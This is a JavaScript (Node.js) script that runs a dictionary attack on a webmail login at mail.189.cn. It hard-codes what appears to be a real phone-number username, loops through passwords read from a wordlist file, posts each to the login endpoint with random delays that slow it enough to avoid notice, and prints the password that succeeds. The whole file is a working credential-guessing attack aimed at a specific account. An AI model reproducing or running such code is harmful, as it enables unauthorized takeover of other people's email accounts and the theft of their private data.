var request = require("request");
var fs = require("fs");
var lineReader = require('line-reader');

var formData = {
    UserName: "18984015276",
    passwd: "12345678",
    charset: "gb2312",
    fromu: "http://tongji.baidu.com/hm-web/home/welcome",
    selfu: "http://tongji.baidu.com/hm-web/welcome/login",
    senderr: 1,
    varifyByUniplat: 0
}

var options = {
    url: "http://mail.189.cn/webmail/login2.perform?varifyByUniplat=0",
    method: "POST",
    form: formData
};

/*
fs.readFile('/word/word.txt', {encoding: "utf8"}, function (err, data) {
    if (err) throw err;
    console.log(data);
});
*/
/*
lineReader.open('superdic.txt', function(reader) {
    if (reader.hasNextLine())
    {
        reader.nextLine(function(line) {
            console.log(line);
            return false;
        });
    }
});
*/

function TryPasswd(times) {
    var passwd = array[times];
    if (passwd === undefined)
    {
        console.log("Not find passwd!");
        return;
    }
    formData.passwd = passwd;
    console.log("line:" + times + ": " + formData.passwd);

    var req = request(options, function(error, response, body) {
        //console.log(response.headers);    
        if (!response.headers.location || response.headers.location.indexOf("error") == -1)
        {
            console.log(passwd);
            return;
        }
        else
        {
            setTimeout(function() {
                TryPasswd(times + 1);
            }, Math.random() * 1000);
        }
    });
}

var array = [];

lineReader.eachLine('ss.txt', function(line, last) {
    array.push(line);
}).then(function() {
    console.log("Read completed!!");
    console.log("Testing...");
    TryPasswd(0);
});


/*
var req = request(options, function(error, response, body) {
    console.log(response.headers.location);
});
*/
